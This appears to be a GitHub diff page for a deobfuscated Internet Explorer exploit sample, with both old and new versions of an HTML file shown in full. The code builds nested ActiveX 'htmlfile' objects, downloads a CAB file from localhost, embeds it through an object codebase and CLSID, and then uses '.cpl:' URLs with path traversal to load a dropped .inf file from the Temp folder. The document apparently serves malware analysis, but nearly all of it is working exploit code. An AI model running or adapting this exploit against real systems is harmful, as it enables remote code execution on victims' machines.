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Fixed the deobfuscated html file from the original sample.
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| Original file line number | Diff line number | Diff line change |
|---|---|---|
| @@ -1,81 +1,70 @@ | ||
| <!DOCTYPE html> | ||
| <html> | ||
| <head> | ||
| <meta http-equiv="Expires" content="-1"> | ||
| <meta http-equiv="X-UA-Compatible" content="IE=11"> | ||
| </head> | ||
| <body> | ||
| <script> | ||
| function exploit() { | ||
|
|
||
| var x = window["document"]; | ||
| var then = window["Document"]["prototype"]["createElement"]; | ||
| var _0x4d7c02 = window["Document"]["prototype"]["write"]; | ||
| var PL$22 = window["HTMLElement"]["prototype"]["appendChild"]; | ||
| var opfilter = window["HTMLElement"]["prototype"]["removeChild"]; | ||
| var range = then["call"](x, "iframe"); | ||
| try { | ||
| PL$22["call"](x["body"], range); | ||
| } catch (errx) { | ||
| PL$22["call"](x["documentElement"], range); | ||
| } | ||
| var ACTIVEX = range["contentWindow"]["ActiveXObject"]; | ||
| var view = new ACTIVEX("htmlfile"); | ||
| range["contentDocument"]["open"]()["close"](); | ||
|
|
||
| try { | ||
| opfilter["call"](x["body"], range); | ||
| } catch (err) { | ||
| opfilter["call"](x["documentElement"], range); | ||
| } | ||
|
|
||
| view["open"]()["close"](); | ||
| var mappedObj = new (view["Script"]["ActiveXObject"])("htmlFile"); | ||
| mappedObj["open"]()["close"](); | ||
| var TokenType = new (mappedObj["Script"]["ActiveXObject"])("htmlFile"); | ||
| TokenType["open"]()["close"](); | ||
| var model = new (TokenType["Script"]["ActiveXObject"])("htmlFile"); | ||
| model["open"]()["close"](); | ||
| var iedom = new ActiveXObject("htmlfile"); | ||
| var rp_test = new ActiveXObject("htmlfile"); | ||
| var wmp_test = new ActiveXObject("htmlfile"); | ||
| var doc = new ActiveXObject("htmlfile"); | ||
| var a = new ActiveXObject("htmlfile"); | ||
| var fake = new ActiveXObject("htmlfile"); | ||
| var errors = window["XMLHttpRequest"]; | ||
| var $node = new errors; | ||
| var directiveProcessors = errors["prototype"]["open"]; | ||
| var nodeTypeRender = errors["prototype"]["send"]; | ||
| var newAttributes = window["setTimeout"]; | ||
| directiveProcessors["call"]($node, "GET", "http://127.0.0.1/test.cab", ![]); | ||
| nodeTypeRender["call"]($node); | ||
|
|
||
| model["Script"]["document"]["write"]("<body>"); | ||
| var PL$41 = then["call"](model["Script"]["document"], "object"); | ||
| PL$41["setAttribute"]("codebase", "http://127.0.0.1/test.cab#version=5,0,0,0"); | ||
| PL$41["setAttribute"]("classid", "CLSID:edbc374c-5730-432a-b5b8-de94f0b57217"); | ||
| PL$22["call"](model["Script"]["document"]["body"], PL$41); | ||
| iedom["Script"]["location"] = ".cpl:123"; | ||
| iedom["Script"]["location"] = ".cpl:123"; | ||
| iedom["Script"]["location"] = ".cpl:123"; | ||
| iedom["Script"]["location"] = ".cpl:123"; | ||
| iedom["Script"]["location"] = ".cpl:123"; | ||
| iedom["Script"]["location"] = ".cpl:123"; | ||
| iedom["Script"]["location"] = ".cpl:123"; | ||
| iedom["Script"]["location"] = ".cpl:123"; | ||
| iedom["Script"]["location"] = ".cpl:123"; | ||
| iedom["Script"]["location"] = ".cpl:../../../AppData/Local/Temp/Low/championship.inf"; | ||
| rp_test["Script"]["location"] = ".cpl:../../../AppData/Local/Temp/championship.inf"; | ||
| wmp_test["Script"]["location"] = ".cpl:../../../../AppData/Local/Temp/Low/championship.inf"; | ||
| doc["Script"]["location"] = ".cpl:../../../../AppData/Local/Temp/championship.inf"; | ||
| a["Script"]["location"] = ".cpl:../../../../../Temp/Low/championship.inf"; | ||
| doc["Script"]["location"] = ".cpl:../../../../../Temp/championship.inf"; | ||
| doc["Script"]["location"] = ".cpl:../../Low/championship.inf"; | ||
| doc["Script"]["location"] = ".cpl:../../championship.inf"; | ||
| } | ||
|
|
||
| exploit(); | ||
|
|
||
| </script> | ||
| </body> | ||
| </html> | ||
| <head> | ||
| <meta http-equiv="Expires" content="-1"> | ||
| <meta http-equiv="X-UA-Compatible" content="IE=11"> | ||
| </head> | ||
| <body> | ||
| <script> | ||
| function garbage() { | ||
| return 'garbage'; | ||
| } | ||
| (function exploit() { | ||
| var iframe = window["Document"]['prototype']['createElement']['call'](window["document"], 'iframe'); | ||
| try { | ||
| window["HTMLElement"]["prototype"]["appendChild"]['call'](window["document"]['body'], iframe); | ||
| } catch (_0x1ab454) { | ||
| window["HTMLElement"]["prototype"]["appendChild"]['call'](window["document"]['documentElement'], iframe); | ||
| } | ||
| var htmlfile = iframe['contentWindow']['ActiveXObject'] | ||
| , htmlfile2 = new htmlfile('htmlfile'); | ||
| iframe['contentDocument']['open']()['close'](); | ||
| try { | ||
| window["HTMLElement"]["prototype"]["removeChild"]['call'](window["document"]['body'], iframe); | ||
| } catch (_0x3b004e) { | ||
| window["HTMLElement"]["prototype"]["removeChild"]['call'](window["document"]['documentElement'], iframe); | ||
| } | ||
| htmlfile2['open']()['close'](); | ||
| var htmlfile3 = new htmlfile2[('Script')]['ActiveXObject']('htmlfile'); | ||
| htmlfile3['open']()['close'](); | ||
| var htmlfile4 = new htmlfile3[('Script')]['ActiveXObject']('htmlfile'); | ||
| htmlfile4['open']()['close'](); | ||
| var htmlfile5 = new htmlfile4[('Script')]['ActiveXObject']('htmlfile'); | ||
| htmlfile5['open']()['close'](); | ||
| var ActiveXObjectVAR = new ActiveXObject('htmlfile') | ||
| , ActiveXObjectVAR2 = new ActiveXObject('htmlfile') | ||
| , ActiveXObjectVAR3 = new ActiveXObject('htmlfile') | ||
| , ActiveXObjectVAR4 = new ActiveXObject('htmlfile') | ||
| , ActiveXObjectVAR5 = new ActiveXObject('htmlfile') | ||
| , ActiveXObjectVAR6 = new ActiveXObject('htmlfile') | ||
| , XMLHttpR = new window['XMLHttpRequest']() | ||
| , XMLHttpRopen = window['XMLHttpRequest']['prototype']['open'] | ||
| , XMLHttpRsend = window['XMLHttpRequest']['prototype']['send']; | ||
| XMLHttpRopen['call'](XMLHttpR, 'GET', 'http://127.0.0.1/test.cab', ![]), | ||
| XMLHttpRsend['call'](XMLHttpR), | ||
| htmlfile5['Script']['document']['write']('body>'); | ||
| var htmlScript = window["Document"]['prototype']['createElement']['call'](htmlfile5['Script']['document'], 'object'); | ||
| htmlScript['setAttribute']('codebase', 'http://127.0.0.1/test.cab#version=5,0,0,0'); | ||
| htmlScript['setAttribute']('CLSID:edbc374c-5730-432a-b5b8-de94f0b57217'), | ||
| window["HTMLElement"]["prototype"]["appendChild"]['call'](htmlfile5['Script']['document']['body'], htmlScript), | ||
| ActiveXObjectVAR['Script']['location'] = '.cpl:123', | ||
| ActiveXObjectVAR['Script']['location'] = '.cpl:123', | ||
| ActiveXObjectVAR['Script']['location'] = '.cpl:123', | ||
| ActiveXObjectVAR['Script']['location'] = '.cpl:123', | ||
| ActiveXObjectVAR['Script']['location'] = '.cpl:123', | ||
| ActiveXObjectVAR['Script']['location'] = '.cpl:123', | ||
| ActiveXObjectVAR['Script']['location'] = '.cpl:123', | ||
| ActiveXObjectVAR['Script']['location'] = '.cpl:123', | ||
| ActiveXObjectVAR['Script']['location'] = '.cpl:123', | ||
| ActiveXObjectVAR['Script']['location'] = '.cpl:../../../AppData/Local/Temp/Low/championship.inf', | ||
| ActiveXObjectVAR2['Script']['location'] = '.cpl:../../../AppData/Local/Temp/championship.inf', | ||
| ActiveXObjectVAR3['Script']['location'] = '.cpl:../../../../AppData/Local/Temp/Low/championship.inf', | ||
| ActiveXObjectVAR4['Script']['location'] = '.cpl:../../../../AppData/Local/Temp/championship.inf', | ||
| ActiveXObjectVAR5['Script']['location'] = '.cpl:../../../../../Temp/Low/championship.inf', | ||
| ActiveXObjectVAR4['Script']['location'] = '.cpl:../../../../../Temp/championship.inf', | ||
| ActiveXObjectVAR4['Script']['location'] = '.cpl:../../Low/championship.inf', | ||
| ActiveXObjectVAR4['Script']['location'] = '.cpl:../../championship.inf'; | ||
| }()); | ||
| </script> | ||
| </body> | ||
| </html> |